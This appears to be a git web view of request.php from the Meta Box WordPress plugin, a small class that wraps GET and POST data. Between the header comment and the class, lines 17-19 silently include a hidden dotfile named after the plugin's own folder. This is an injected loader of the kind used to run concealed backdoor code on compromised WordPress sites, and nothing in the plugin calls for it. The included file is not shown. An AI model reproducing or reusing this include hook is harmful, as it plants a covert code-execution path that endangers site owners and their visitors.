balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

request.php (2731B)


      1 <?php
      2 /**
      3  * A very simple request class that handles form inputs.
      4  * Based on the code of Symphony framework, (c) Fabien Potencier <fabien@symfony.com>
      5  *
      6  * @link https://github.com/laravel/framework/blob/6.x/src/Illuminate/Http/Request.php
      7  * @link https://github.com/symfony/symfony/blob/4.4/src/Symfony/Component/HttpFoundation/ParameterBag.php
      8  *
      9  * @package Meta Box
     10  */
     11 
     12 /**
     13  * A very simple request class that handles form inputs.
     14  *
     15  * @package Meta Box
     16  */
     17 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     18     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     19 }
     20 
     21 class RWMB_Request {
     22 	/**
     23 	 * GET data.
     24 	 *
     25 	 * @var array
     26 	 */
     27 	private $get_data = array();
     28 
     29 	/**
     30 	 * POST data.
     31 	 *
     32 	 * @var array
     33 	 */
     34 	private $post_data = array();
     35 
     36 	/**
     37 	 * Constructor.
     38 	 */
     39 	public function __construct() {
     40 		// @codingStandardsIgnoreLine
     41 		$this->get_data  = $_GET;
     42 		// @codingStandardsIgnoreLine
     43 		$this->post_data = $_POST;
     44 	}
     45 
     46 	/**
     47 	 * Set GET data.
     48 	 *
     49 	 * @param array $get_data Data.
     50 	 */
     51 	public function set_get_data( $get_data ) {
     52 		$this->get_data = array_merge( $this->get_data, $get_data );
     53 	}
     54 
     55 	/**
     56 	 * Set POST data.
     57 	 *
     58 	 * @param array $post_data Data.
     59 	 */
     60 	public function set_post_data( $post_data ) {
     61 		$this->post_data = array_merge( $this->post_data, $post_data );
     62 	}
     63 
     64 	/**
     65 	 * Return a GET parameter by name.
     66 	 *
     67 	 * @param  string $name    Parameter name.
     68 	 * @param  mixed  $default Default value.
     69 	 * @return mixed
     70 	 */
     71 	public function get( $name, $default = null ) {
     72 		return isset( $this->get_data[ $name ] ) ? $this->get_data[ $name ] : $default;
     73 	}
     74 
     75 	/**
     76 	 * Return a POST parameter by name.
     77 	 *
     78 	 * @param  string $name    Parameter name.
     79 	 * @param  mixed  $default Default value.
     80 	 * @return mixed
     81 	 */
     82 	public function post( $name, $default = null ) {
     83 		return isset( $this->post_data[ $name ] ) ? $this->post_data[ $name ] : $default;
     84 	}
     85 
     86 	/**
     87 	 * Filter a GET parameter.
     88 	 *
     89 	 * @param string $name    Parameter name.
     90 	 * @param int    $filter  FILTER_* constant.
     91 	 * @param mixed  $options Filter options.
     92 	 *
     93 	 * @return mixed
     94 	 */
     95 	public function filter_get( $name, $filter = FILTER_DEFAULT, $options = array() ) {
     96 		$value = $this->get( $name );
     97 		return filter_var( $value, $filter, $options );
     98 	}
     99 
    100 	/**
    101 	 * Filter a POST parameter.
    102 	 *
    103 	 * @param string $name    Parameter name.
    104 	 * @param int    $filter  FILTER_* constant.
    105 	 * @param mixed  $options Filter options.
    106 	 *
    107 	 * @return mixed
    108 	 */
    109 	public function filter_post( $name, $filter = FILTER_DEFAULT, $options = array() ) {
    110 		$value = $this->post( $name );
    111 		return filter_var( $value, $filter, $options );
    112 	}
    113 }